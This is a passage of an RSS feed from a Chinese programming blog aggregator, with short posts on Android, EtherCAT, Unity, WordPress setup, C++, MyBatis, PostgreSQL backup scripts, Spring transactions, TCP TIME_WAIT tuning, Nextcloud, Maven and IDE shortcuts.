      <pubDate>Wed, 29 May 2019 15:14:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56bfdfa0b7adf9865c482e82b8a2f248/</guid>
      <description>1.sdk接口&#xA;https://developer.android.google.cn/reference/packages，能够在谷歌网站查询到的接口，参考google官网&#xA;2.非 SDK 接口：&#xA;除以上的 SDK 接口外，其他都是非 SDK 接口&#xA;调用非SDK会出现的问题：通过反射或者JNI访问非公开接口时会触发警告/异常&#xA;3.非 SDK 接口管控名单&#xA;https://developer.android.com/preview/non-sdk-q&#xA;4.系统是如何实现这个限制的&#xA;请参考如下文章。&#xA;https://www.jianshu.com/p/c41567b2c574</description>
    </item>
    <item>
      <title>EtherCAT学习笔记之FMMU寻址的理解</title>
      <link>https://bchobby.github.io/posts/ea05d65c6c1825ef30ec93cbd0850e9a/</link>
      <pubDate>Wed, 29 May 2019 14:59:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea05d65c6c1825ef30ec93cbd0850e9a/</guid>
      <description>FMMU：现场总线内存管理单元；&#xA;FMMU的作用非常关键，通俗的讲，它将报文逻辑数据地址和从站的物理地址相互转化、映射，这样的话，一包报文就可以装载多个从站、多种格式的数据；&#xA;以下是学习时的截图，讲的是数据地址0x00010011偏移3位 至 0x00010013第0位映射0x0F01第一位至0x0F02第六位，想更好的理解FMMU，这两张图的对应关系需要好好看明白。&#xA;FMMU操作请注意以下几点：&#xA;1、每一个数据地址单元只允许一个FMMU读和另一个FMMU写，或者被同一个FMMU进行读写交换；&#xA;2、同一个FMMU对逻辑地址单元读写操作与一个FMMU读另一个FMMU写，结果是一样的；&#xA;3、FMMU按位读写操作不影响报文其他位，所以可以将多种类型、多个从站的数据放入同一包报文；</description>
    </item>
    <item>
      <title>关于Unity中单独提取mesh组件并保存</title>
      <link>https://bchobby.github.io/posts/b11a4468a732174b3b58156da080a689/</link>
      <pubDate>Wed, 29 May 2019 12:07:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b11a4468a732174b3b58156da080a689/</guid>
      <description> 关于Unity中单独提取mesh组件并保存 作为一个新入职的程序猿，老大给我分配了个任务，让我从一个Fbx模型中提取他的mesh。=。=这可如何是好，从未遇到过这个，最后只能求助谷歌了（别问为啥是谷歌），果然网络上还是有大佬的，终于找到了解决方法。&#xA;在这感谢TinyHum博主的文章，使用以下代码，调用SaveAsset函数，就能把mesh保存在Assets目录下（当然目录你可以自己选）。在磁盘上是.asset的文件，在project中看到的是一个mesh符号的文件，注意，挂载的object上必须有mesh组件&#xA;public Transform object; private string name; void SaveAsset() { Mesh mesh = object.GetComponent&amp;lt;MeshFilter&amp;gt;().mesh; AssetDatabase.CreateAsset(mesh , &#34;Assets/&#34; + name + &#34;.asset&#34;); } </description>
    </item>
    <item>
      <title>WordPress从0开始建站（一）：教练，我想建网站！</title>
      <link>https://bchobby.github.io/posts/ce657cf661c2c57a57a21fc7b80e7bb9/</link>
      <pubDate>Wed, 29 May 2019 10:46:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce657cf661c2c57a57a21fc7b80e7bb9/</guid>
      <description>你说你想建个很酷的站，但是对知识一无所知；你于是遍搜详细教程，却难寻合心意，大佬一笔而过只言片语，留你抓耳挠腮。&#xA;​ 这么巧啊，你也是小白。&#xA;如果你不懂什么叫服务器，php听起来好像很顺口？linux…是一个人吗？前端？当然会一点点啦。那么这个从0开始建站系列博文，只需一个赞点不了吃亏点不了上当，教你从0开始搭建一个自己的个人博客网站。&#xA;一、准备：工欲善其事 ​ 一般而言，我们有三种方式选择搭建自己的网站。&#xA;简介所需环境难度时间WordPress从头搭建网页太繁琐？WP帮助您。只需要配置好WP软件运行所需LNMP/LAMP环境（后面详细解释）。就像ppt模板一样，只要专注写博客即可，网站自动生成。LNMP/LAMP一般一天Github Pages和WordPress类似，页面更加简洁。Node.js+Git+Hexo一般一天个人从头搭建熟悉建站前后端知识，难度较大，新手暂不推荐-较难- ​ 这次我们选择的是利用WordPress软件来搭建自己的网站，但是无论哪种，首先我们需要准备：&#xA;服务器：本次搭建使用阿里云服务器。网站要保持24小时不间断、网络连接带宽etc.普通电脑自然难以胜任， 自己专门买服务器维护门槛太高，租用云服务器是不二选择。域名：买来服务器会分配一个公网IP，如196.11.11.111，搭建好环境网站上线别人就可以通过这个IP访问你的网站。但是人要衣装，网站也要牌面，我们需要一个更好听易记的名字来访问你的网站，这就是域名。 以下是获取流程。&#xA;1.1 云服务器 云服务器购买 比较为人熟知的分别是：阿里云服务器 &amp;amp; 腾讯云服务器。腾讯云服务器学生优惠很实在10元/月，撸了一年羊毛，今天我们来撸一撸阿里云学生优惠羊毛hhh。&#xA;点击进入：阿里云学生优惠&#xA;选择：云服务器 ECS。&#xA;预装环境：CentOS 7。轻量应用服务器 可以直接选择WordPress镜像…那么本文完作者猝。但是想要认真折腾服务器，为以后自己从头建站做准备（而且似乎用不了学生优惠）。建议大家还是选择云服务器 ECS–CentOS 7镜像，认真走完这个流程。&#xA;地域：没得选。买国内服务器要进行备案，这个稍后细说。&#xA;设置好你的登陆账号密码确认购买即可。你可以在你的阿里云控制台查看你购买的云服务器ECS。&#xA;1.2 域名 域名购买最好也在阿里云购买，可以少些解析麻烦事儿。购买地址：阿里云域名 。&#xA;购买过程就没什么好说啦，但是会要求我们进行实名认证才能购买。找到右上角头像先进行实名认证：&#xA;认证完就可以愉快的进行购买域名了。第一次网络拥有自己一个小窝，想想有没有点小激动呢hhhh~&#xA;1.3 备案 上面提到域名解析到国内服务器需要备案（如香港等不用）。大家可以先按照流程填写信息，在等待过程中，我们可以先部署我们的小窝。&#xA;官方备案流程：阿里云备案&#xA;1.4 解析域名 什么是解析域名？简单来说，用你的域名如：www.baidu.com 来访问你的网站，而不是用144.144.144.144 这种IP地址来访问。没有备案，DNS解析很多功能无法正常进行，但是我们还是可以直接利用域名进入我们的网站。&#xA;解析流程：阿里云添加网站解析&#xA;二、搭建WP环境 WordPress软件给我提供一个快速生成博客网站环境，但是也需要配置好它运行的环境。简单来说，我们需要：&#xA;一个Linux系统：本文已经搭建好CentOS 7一个Web服务器：我们选用的是Apache服务器。简单来说它的作用就是将你的电脑变成一台服务器，让电脑开放特定网络端口，接收来自网络上发送的HTTP请求，对请求的内容进行处理并作出相应的响应。一个数据库系统：选择MariaDB，CentOS 7以上版本已不再支持使用MySQL。一个Web 服务器生成网页的程序：PHP自然是不二选择。 Linux+Apache+MariaDB+PHP == 我们之前说的LAMP环境。准备好了吗，接下来便开始具体安装搭建。&#xA;2.0 安装Xshell 安装软件如果每次都要上阿里云打开虚拟机，实在太麻烦啦。我们可以安装Xshell在Windows界面下用来访问远端不同系统下的服务器，从而达到方便操作远程控制终端的目的。&#xA;Xshell有家庭/学校免费版：Xshell官网下载 OR Xshell百度云下载&#xA;安装一直点下一步傻瓜似安装，后可以看到Xshell界面，选择文件–新建：&#xA;按照上图填好信息，然后再点击用户身份验证，输入登陆账号密码（就是我们在购买云服务器时设置的）：&#xA;点击确定。然后在Xshell界面选择：会话管理 - 阿里云服务器 右击 - 打开，便连接到我们的服务器了。</description>
    </item>
    <item>
      <title>C&#43;&#43;11中=delete的巧妙用法</title>
      <link>https://bchobby.github.io/posts/4c97406bffcc12ae814c2bdaecb36335/</link>
      <pubDate>Tue, 28 May 2019 22:29:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c97406bffcc12ae814c2bdaecb36335/</guid>
      <description>C++11中，当我们定义一个类的成员函数时，如果后面使用&#34;=delete&#34;去修饰，那么就表示这个函数被定义为deleted，也就意味着这个成员函数不能再被调用，否则就会出错。&#xA;#include &amp;lt;cstdio&amp;gt; class TestClass { public: int func(int data)=delete; }; int main(void) { TestClass obj; obj.func(100); return 0; } 编译时直接报错，如下，&#xA;在C++11之前，当我们希望一个类不能被拷贝，就会把构造函数定义为private，但是在C++11里就不需要这样做了，只需要在构造函数后面加上=delete来修饰下就可以了。&#xA;巧妙用法 这里说个=delete的巧妙用法，在C++里会有很多隐式类型转换，如下代码，&#xA;#include &amp;lt;cstdio&amp;gt; class TestClass { public: void func(int data) { printf(&#34;data: %d\n&#34;, data); } }; int main(void) { TestClass obj; obj.func(100); obj.func(100.0); return 0; } 输出如下，&#xA;当我们把100.0传给obj.func()时，发生了隐式类型转换，由double转为了int，有时我们不希望发生这样的转换，我们就是希望传进来的参数和规定的类型一致，那么此时可以使用=delete来达到这个目的，如下，&#xA;#include &amp;lt;cstdio&amp;gt; class TestClass { public: void func(int data) { printf(&#34;data: %d\n&#34;, data); } void func(double data)=delete; }; int main(void) { TestClass obj; obj.</description>
    </item>
    <item>
      <title>MyBatis  sql中test判断Boolean</title>
      <link>https://bchobby.github.io/posts/b4cd28a0fb368f53ce665f1514e4a56c/</link>
      <pubDate>Tue, 28 May 2019 16:45:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4cd28a0fb368f53ce665f1514e4a56c/</guid>
      <description> MyBatis sql中test判断Boolean 【三种方式】： &amp;lt;select id=&#34;queryAddress&#34; resultType=&#34;com.caox.model.Address&#34;&amp;gt; select id, address, remark from address where 1=1 &amp;lt;if test=&#34;flag==true&#34;&amp;gt; and address = #{address} &amp;lt;/if&amp;gt; &amp;lt;/select&amp;gt; &amp;lt;update id=&#34;updateHaveNewComment&#34;&amp;gt; &amp;lt;choose&amp;gt; &amp;lt;when test=&#34;flag==true&#34;&amp;gt; UPDATE epc_subject_center s SET s.have_new_comment=1 WHERE s.id=#{id} &amp;lt;/when&amp;gt; &amp;lt;otherwise&amp;gt; UPDATE epc_subject_center s SET s.have_new_comment=0 WHERE s.id=#{id} &amp;lt;/otherwise&amp;gt; &amp;lt;/choose&amp;gt; &amp;lt;/update&amp;gt; &amp;lt;update id=&#34;updateHaveNewComment&#34;&amp;gt; &amp;lt;choose&amp;gt; &amp;lt;when test=&#34;flag&#34;&amp;gt; UPDATE epc_subject_center s SET s.have_new_comment=1 WHERE s.id=#{id} &amp;lt;/when&amp;gt; &amp;lt;otherwise&amp;gt; UPDATE epc_subject_center s SET s.have_new_comment=0 WHERE s.id=#{id} &amp;lt;/otherwise&amp;gt; &amp;lt;/choose&amp;gt; &amp;lt;/update&amp;gt; </description>
    </item>
    <item>
      <title>postgresql比对数据库结构、导入、导出等脚本</title>
      <link>https://bchobby.github.io/posts/4f4120355de1d3aae7bb9964e582fbfd/</link>
      <pubDate>Tue, 28 May 2019 11:43:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f4120355de1d3aae7bb9964e582fbfd/</guid>
      <description>-----------------------------强行删除数据库-----------------------------&#xA;SELECT pg_terminate_backend(pg_stat_activity.pid) FROM pg_stat_activity WHERE datname=&#39;dbname&#39; AND pid&amp;lt;&amp;gt;pg_backend_pid(); DROP DATABASE dbname; -----------------------------创建数据库实例-----------------------------&#xA;create database dbname owner postgres; -----------------------------导入、导出（需要输入密码）-----------------------------&#xA;#备份结构 pg_dump -h 172.16.100.209 -p 9999 -U postgres -s khb_001_hazcj_080 &amp;gt; /tmp/khb_001_hazcj_080.backup #备份数据 pg_dump -h 172.16.100.209 -p 9999 -U postgres -a khb_001_hazcj_080 &amp;gt; /tmp/khb_001_hazcj_080_data.backup #恢复结构 psql -d test -h 192.168.171.129 -p 5432 -U postgres -f /tmp/khb_001_hazcj_080.backup #恢复数据 psql -d test -h 192.168.171.129 -p 5432 -U postgres -f /tmp/khb_001_hazcj_080_data.backup #说明：-h主机名 -p端口 -U用户名 -s只备份机构 -a只备份数据 -----------------------------导入、导出（无需输入密码，但是pg_hba.</description>
    </item>
    <item>
      <title>img文件转换成vmdk</title>
      <link>https://bchobby.github.io/posts/07b02b78283e71b3c786f29017eaa7e6/</link>
      <pubDate>Tue, 28 May 2019 09:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07b02b78283e71b3c786f29017eaa7e6/</guid>
      <description>qemu-img convert -f raw openwrt.img -O vmdk openwrt.vmdk&#xA;https://www.qemu.org&#xA;转载于:https://blog.51cto.com/singoe/2401154</description>
    </item>
    <item>
      <title>将图片转换成json   code码</title>
      <link>https://bchobby.github.io/posts/078f011eaeaedadbba5df68e734e85bf/</link>
      <pubDate>Mon, 27 May 2019 19:11:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/078f011eaeaedadbba5df68e734e85bf/</guid>
      <description>-- coding:utf-8 -- #将图片转成json code码&#xA;导入相关的库 from sys import argv&#xA;from base64 import b64encode&#xA;from json import dumps&#xA;ENCODING = ‘utf-8’ # 指定编码形式&#xA;SCRIPT_NAME, IMAGE_NAME, JSON_NAME = argv # 获得文件名参数&#xA;读取二进制图片，获得原始字节码，注意 ‘rb’ with open(IMAGE_NAME, ‘rb’) as jpg_file:&#xA;byte_content = jpg_file.read()&#xA;# 把原始字节码编码成 base64 字节码&#xA;base64_bytes = b64encode(byte_content)&#xA;将 base64 字节码解码成 utf-8 格式的字符串 base64_string = base64_bytes.decode(ENCODING)&#xA;用字典的形式保存数据 raw_data = {}&#xA;raw_data[“name”] = IMAGE_NAME&#xA;raw_data[“image_base64_string”] = base64_string&#xA;将字典变成 json 格式，缩进为 2 个空格 json_data = dumps(raw_data, indent=2)</description>
    </item>
    <item>
      <title>spring异常事务处理机制</title>
      <link>https://bchobby.github.io/posts/70e24a4564ff48e4fce445611342ad47/</link>
      <pubDate>Mon, 27 May 2019 18:00:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70e24a4564ff48e4fce445611342ad47/</guid>
      <description>1、事务注解一般用在业务层&#xA;2、在业务逻辑中抛出的异常若是被try-catch了，事务是无法回滚的，所以正确的操作是在遇到异常场景需要回滚时，手动抛出RuntimeException(默认情况下Spring 中的事务处理只对RuntimeException 方法进行回滚，所以，如果&#xA;将Runtime Exception 替换成普通的Exception 不会产生回滚效果。 )&#xA;3、spring中的事务是以AOP为基础的，是应用代理模式实现的&#xA;4、Spring实现事务时，提取事务标签的顺序为：方法事务声明--&amp;gt;方法所在类事务声明--&amp;gt;接口方法事务声明--&amp;gt;接口方法所在类事务声明&#xA;5、对于事务处理，最重要的是要获取事务对应的属性，如果没有事务对应的属性值，事务将无从处理，事务的所有信息从创建事务开始就保存在transactionInfo中，包括事务回滚都要依赖该信息进行处理。&#xA;6、事务回滚处理(Spring处理异常事务机制）&#xA;(1)事务回滚条件&#xA;Spring事务异常处理机制只会对RuntimeException 和Error 级别的异常执行回滚操作，执行具体回滚的函数如下：&#xA;public boolean rollbackOn(Throwable ex) {&#xA;return (ex instanceof RuntimeException || ex instanceof Error);&#xA;}&#xA;当然我们可以对上述两种类型的异常进行扩展处理，达到自己对指定常的回滚，并利用注解的方式实现&#xA;@Transactional(rollbackFor = xxxException.class)&#xA;(2)事务回滚处理 两步：&#xA;触发器监听函数 执行真正的回滚操作，在执行回滚操作的时候要考虑是否有嵌套事务（根据 savePoint来判断，若有嵌套事务，则对嵌套事务单独进行回滚，不回滚外事务。）&#xA;(3) 回滚后的信息清除 无论事务是否回滚成功都必须执行&#xA;设置事务状态为完成，避免事务重复执行&#xA;如果当前事务是新的同步状态，则将事务信息从当前线程中清除掉&#xA;释放事务占用的资源(数据库连接资源等)&#xA;如果在当前事务事前有事务挂起，需要将挂起的事务恢复&#xA;https://refactoringguru.cn/design-patterns/chain-of-responsibility</description>
    </item>
    <item>
      <title>python tkinter 设置窗口大小不可缩放</title>
      <link>https://bchobby.github.io/posts/b9d8974c5f7468f79b0839c2e559698f/</link>
      <pubDate>Sun, 26 May 2019 15:32:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9d8974c5f7468f79b0839c2e559698f/</guid>
      <description>解决方法&#xA;将窗口最大尺寸和最小尺寸设置为一样即可&#xA;top = Tk() # 创建顶级窗口 top.minsize(560, 545)&#x9;# 最小尺寸 top.maxsize(560, 545) # 最大尺寸 top.mainloop() 转载于:https://www.cnblogs.com/diyi/p/10926208.html</description>
    </item>
    <item>
      <title>TIME_WAIT过多的危害以及解决TIME_AWAIT过多方案</title>
      <link>https://bchobby.github.io/posts/6917155ef66d706343061b8b3c1de99c/</link>
      <pubDate>Sun, 26 May 2019 11:36:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6917155ef66d706343061b8b3c1de99c/</guid>
      <description>TIME_WAIT过多危害 网络情况不好时，如果主动方无TIME_WAIT等待，关闭前个连接后，主动方与被动方又建立起新的TCP连接，这时被动方重传或延时过来的FIN包过来后会直接影响新的TCP连接；同样网络情况不好并且无TIME_WAIT等待，关闭连接后无新连接，当接收到被动方重传或延迟的FIN包后，会给被动方回一个RST包，可能会影响被动方其它的服务连接。过多的话会占用内存，一个TIME_WAIT占用4k大小 解决方法 相关参数优化调整（当然得根据服务器的实际情况配置，这里着重讲参数意义）：&#xA;既然知道了TIME_WAIT的用意了，尽量按照TCP的协议规定来调整，对于tw的reuse、recycle其实是违反TCP协议规定的，服务器资源允许、负载不大的条件下，尽量不要打开，当出现TCP: time wait bucket table overflow，尽量调大下面参数：&#xA;tcp_max_tw_buckets = 256000&#xA;调整次参数的同时，要调整TIME_WAIT_2到TIME_WAIT的超时时间，默认是60s，优化到30s：&#xA;net.ipv4.tcp_fin_timeout = 30&#xA;其它TCP本身的配合参数类似与synack重传次数、syn重传次数等以后介绍，优化后也是有所益处的。&#xA;下面再说一下linux里TIME_WAIT专有的优化参数reuse、recycle，默认也都是关闭的，这两个参数必须在timestamps打开的前提下才能生效使用 net.ipv4.tcp_timestamps = 1&#xA;net.ipv4.tcp_tw_reuse = 1&#xA;机器作为客户端时起作用，开启后time_wait在一秒内回收&#xA;net.ipv4.tcp_tw_recycle = 0 （不要开启，现在互联网NAT结构很多，可能直接无法三次握手）&#xA;开启后在3.5*RTO(RTO时间是根据RTT时间计算而来)内回收TIME_WAIT，并60s内同一源ip主机的socket&#xA;connect请求中的timestamp必须是递增的，对于服务端，同一个源ip可能会是NAT后很多机器，这些机器timestamp递增性无可保证，服务器会拒绝非递增请求连接，直接导致不能三次握手。&#xA;注意 tcp_tw_recycle：顾名思义就是回收TIME_WAIT连接。可以说这个内核参数已经变成了大众处理TIME_WAIT的万金油，如果你在网络上搜索TIME_WAIT的解决方案，十有八九会推荐设置它，不过这里隐藏着一个不易察觉的陷阱：&#xA;当多个客户端通过NAT方式联网并与服务端交互时，服务端看到的是同一个IP，也就是说对服务端而言这些客户端实际上等同于一个，可惜由于这些客户端的时间戳可能存在差异，于是乎从服务端的视角看，便可能出现时间戳错乱的现象，进而直接导致时间戳小的数据包被丢弃。参考：tcp_tw_recycle和tcp_timestamps导致connect失败问题。&#xA;tcp_tw_reuse：顾名思义就是复用TIME_WAIT连接。当创建新连接的时候，如果可能的话会考虑复用相应的TIME_WAIT连接。通常认为「tcp_tw_reuse」比「tcp_tw_recycle」安全一些，这是因为一来TIME_WAIT创建时间必须超过一秒才可能会被复用；二来只有连接的时间戳是递增的时候才会被复用。官方文档里是这样说的：如果从协议视角看它是安全的，那么就可以使用。这简直就是外交辞令啊！按我的看法，如果网络比较稳定，比如都是内网连接，那么就可以尝试使用。&#xA;不过需要注意的是在哪里使用，既然我们要复用连接，那么当然应该在连接的发起方使用，而不能在被连接方使用。举例来说：客户端向服务端发起HTTP请求，服务端响应后主动关闭连接，于是TIME_WAIT便留在了服务端，此类情况使用「tcp_tw_reuse」是无效的，因为服务端是被连接方，所以不存在复用连接一说。让我们延伸一点来看，比如说服务端是PHP，它查询另一个MySQL服务端，然后主动断开连接，于是TIME_WAIT就落在了PHP一侧，此类情况下使用「tcp_tw_reuse」是有效的，因为此时PHP相对于MySQL而言是客户端，它是连接的发起方，所以可以复用连接。&#xA;说明：如果使用tcp_tw_reuse，请激活tcp_timestamps，否则无效。&#xA;参考：https://blog.huoding.com/2013/12/31/316</description>
    </item>
    <item>
      <title>NEXTCLOUD安装tips</title>
      <link>https://bchobby.github.io/posts/1eba4a8728ef4e691b8535ccfd513674/</link>
      <pubDate>Sat, 25 May 2019 20:25:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1eba4a8728ef4e691b8535ccfd513674/</guid>
      <description>为了给学校安装一个文件平台，我尝试了大大小小各种方法。其中nextcloud占用了大量的时间，安装系统、配置环境，解决报错，前前后后几十次都有。&#xA;最终，我有点扛不住了，我选择使用snap，几条命令，环境完美，傻瓜安装。唯一的问题就是挂载硬盘，教程来源于网络：&#xA;方法是：首先你的数据盘需要挂载到/media下，比如我挂载到/media/data;其次执行sudo snap connect nextcloud:removable-media命令；然后在config.php文件里修改数据存储目录，比我修改数据存储目录为/media/data/nextcloud;然后根据楼主的做法，将默认存储目录里的文件全部拷贝到你自定义的存储目录里，比如我的就是/media/data/nextcloud；最后重启nextcloud!&#xA;修改目录，更改权限，简单，爽！！！真香！！！&#xA;PS：我现在又在尝试UNAS了&amp;gt;_&amp;gt;</description>
    </item>
    <item>
      <title>Java搭建SSM框架demo技能(详细到你害怕) get∨</title>
      <link>https://bchobby.github.io/posts/b000f9ede45f5516c3b176966f7cf649/</link>
      <pubDate>Sat, 25 May 2019 16:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b000f9ede45f5516c3b176966f7cf649/</guid>
      <description>搭建SSM demo详细步骤 前言搭建思路新手入门搭建方法1).环境搭建2)整合spring框架3)整合springmvc框架4)整合MyBatis框架5)整合spring和mybatis 前言 最近看面试题的时候,刷到有面试官的抱怨,说面试了30多个,让他们搭建个SSM(spring+springMVC+mybatis),都没一个搭建出来.于是乎扪心自问,自己如果盲打的话,应该也是不行,所以来整理一下,希望通过整理,能让大家和我一起回顾一下.&#xA;搭建思路 搭建方法有两种,.一种是比较基础的,可以很容易看出哪里出错,一步步搭建;新手学习的话,建议选择方法一,因为每一步都相对比较独立,错误信息比较容易找.如果要快速搭建代码请点击一下链接&#xA;-----------------------&amp;gt;十分钟快速搭建SSM Demo框架技能get&#xA;使用环境:&#xA;eclipsetomcat8.0maven3.5.3mysql 新手入门搭建方法 1).环境搭建 eclipse整合tomcat,maven(此步骤省略,自行百度)创建项目&#xA;创建一个maven项目,习惯勾选简单项目.配置起来虽然麻烦,但是比较好理解&#xA;注意在Packaging选择war&#xA;如下图所示&#xA;3.自行创建以下包和文件夹&#xA;4.在pom.xml文件中集中定义依赖版本号 &amp;lt;!-- 集中定义依赖版本号 --&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;junit.version&amp;gt;4.10&amp;lt;/junit.version&amp;gt; &amp;lt;spring.version&amp;gt;4.1.3.RELEASE&amp;lt;/spring.version&amp;gt; &amp;lt;mybatis.version&amp;gt;3.2.8&amp;lt;/mybatis.version&amp;gt; &amp;lt;mybatis.spring.version&amp;gt;1.2.2&amp;lt;/mybatis.spring.version&amp;gt; &amp;lt;mysql.version&amp;gt;5.1.32&amp;lt;/mysql.version&amp;gt; &amp;lt;druid.version&amp;gt;1.1.6&amp;lt;/druid.version&amp;gt; &amp;lt;slf4j.version&amp;gt;1.6.4&amp;lt;/slf4j.version&amp;gt; &amp;lt;jstl.version&amp;gt;1.2&amp;lt;/jstl.version&amp;gt; &amp;lt;servlet-api.version&amp;gt;2.5&amp;lt;/servlet-api.version&amp;gt; &amp;lt;jsp-api.version&amp;gt;2.0&amp;lt;/jsp-api.version&amp;gt; &amp;lt;jackson.version&amp;gt;2.4.2&amp;lt;/jackson.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- 单元测试 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${junit.version}&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2)整合spring框架 1.在pom.xml文件中，引入spring的依赖包&#xA;ps:需要在标签下引用&#xA;&amp;lt;!-- 整合spring框架（包含springmvc） 这个jar文件包含springmvc开发时的核心类, 同时也会将依赖的相关jar文件引入进来(spring的核心jar文件也包含在内) --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--这个jar文件包含对Spring对JDBC数据访问进行封装的所有类 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-jdbc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-aspects&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring.</description>
    </item>
    <item>
      <title>面试题编程题06-python 输入一个字符串，反转输出</title>
      <link>https://bchobby.github.io/posts/d61f8b3811b0b9264fa91a96715842cc/</link>
      <pubDate>Fri, 24 May 2019 11:48:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d61f8b3811b0b9264fa91a96715842cc/</guid>
      <description>1 s=input(&#39;Please input the string:&#39;) 2 temp=list(s) 3 temp.reverse() 4 #列表转换为字符串 5 print(&#39;&#39;.join(temp)) 转载于:https://www.cnblogs.com/feihujiushiwo/p/10917231.html</description>
    </item>
    <item>
      <title>事件冒泡</title>
      <link>https://bchobby.github.io/posts/bf0d2ab9ef643f059cefe64db2cdf9c9/</link>
      <pubDate>Fri, 24 May 2019 11:12:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf0d2ab9ef643f059cefe64db2cdf9c9/</guid>
      <description>事件冒泡：只要有多个元素嵌套，且他们绑定了相同的事件，那么子元素事件触发了，会把他接收到的事件传给自己的父级元素、祖宗元素，一直到window。&#xA;注意：事件冒泡和元素的在页面中显示出来的位置没有关系，而是跟html代码中的位置有关系，必须是嵌套关系。也就是说即使有嵌套关系的父子元素，定位在两个不同的地方，点击子元素也会向父元素传递相同的事件触发，也就是说父元素也发生了点击事件。 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;title&amp;gt;title&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; #dv1{ width: 300px; height: 200px; background-color: red; } #dv2{ width: 250px; height: 150px; background-color: green; } #dv3{ width: 200px; height: 100px; background-color: blue; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;dv1&#34;&amp;gt; &amp;lt;div id=&#34;dv2&#34;&amp;gt; &amp;lt;div id=&#34;dv3&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; document.getElementById(&#34;dv1&#34;).onclick=function () { console.log(this.id); }; document.getElementById(&#34;dv2&#34;).onclick=function () { console.log(this.id); }; document.getElementById(&#34;dv3&#34;).onclick=function (e) { console.log(this.id); }; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 2. 引入：事件处理参数对象（e）&#xA;必须有事件触发、有处理函数、那么当事件触发时，会自动传入向处理函数传入一个默认有参数，且该参数是一个对象，即事件处理参数对象。&#xA;如以下dv对象，绑定了onclick事件，且有处理函数，当点击该div时，控制台输出1，表示，传入了一个默认参数，该参数对象的名字，一般使用event或e，但这不是必须的，可以用任何合法的变量名。</description>
    </item>
    <item>
      <title>IDEA常用快捷键以及使用快捷键生成各种循环</title>
      <link>https://bchobby.github.io/posts/778b15d7b1996df586ebf3fb8a611cd8/</link>
      <pubDate>Fri, 24 May 2019 10:06:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/778b15d7b1996df586ebf3fb8a611cd8/</guid>
      <description>常用快捷键：&#xA;Ctrl+Shift + Enter，语句完成&#xA;“！”，否定完成，输入表达式时按 “！”键&#xA;Ctrl+E，最近的文件&#xA;Ctrl+Shift+E，最近更改的文件&#xA;Shift+Click，可以关闭文件&#xA;Ctrl+[ OR ]，可以跑到大括号的开头与结尾&#xA;Ctrl+F12，可以显示当前文件的结构&#xA;Ctrl+F7，可以查询当前元素在当前文件中的引用，然后按 F3 可以选择&#xA;Ctrl+N，可以快速打开类&#xA;Ctrl+Shift+N，可以快速打开文件&#xA;Alt+Q，可以看到当前方法的声明&#xA;Ctrl+P，可以显示参数信息&#xA;Ctrl+Shift+Insert，可以选择剪贴板内容并插入&#xA;Alt+Insert，可以生成构造器/Getter/Setter等（很常用的一个快捷键）&#xA;Ctrl+Alt+V，可以引入变量。例如：new String(); 自动导入变量定义&#xA;Ctrl+Alt+T，可以把代码包在一个块内，例如：try/catch&#xA;Ctrl+Enter，导入包，自动修正&#xA;Ctrl+Alt+L，格式化代码&#xA;Ctrl+Alt+I，将选中的代码进行自动缩进编排，这个功能在编辑 JSP 文件时也可以工作&#xA;Ctrl+Alt+O，优化导入的类和包&#xA;Ctrl+R，替换文本&#xA;Ctrl+F，查找文本&#xA;Ctrl+Shift+Space，自动补全代码&#xA;Ctrl+空格，代码提示（与系统输入法快捷键冲突）&#xA;Ctrl+Shift+Alt+N，查找类中的方法或变量&#xA;Alt+Shift+C，最近的更改&#xA;Alt+Shift+Up/Down，上/下移一行&#xA;Shift+F6，重构 – 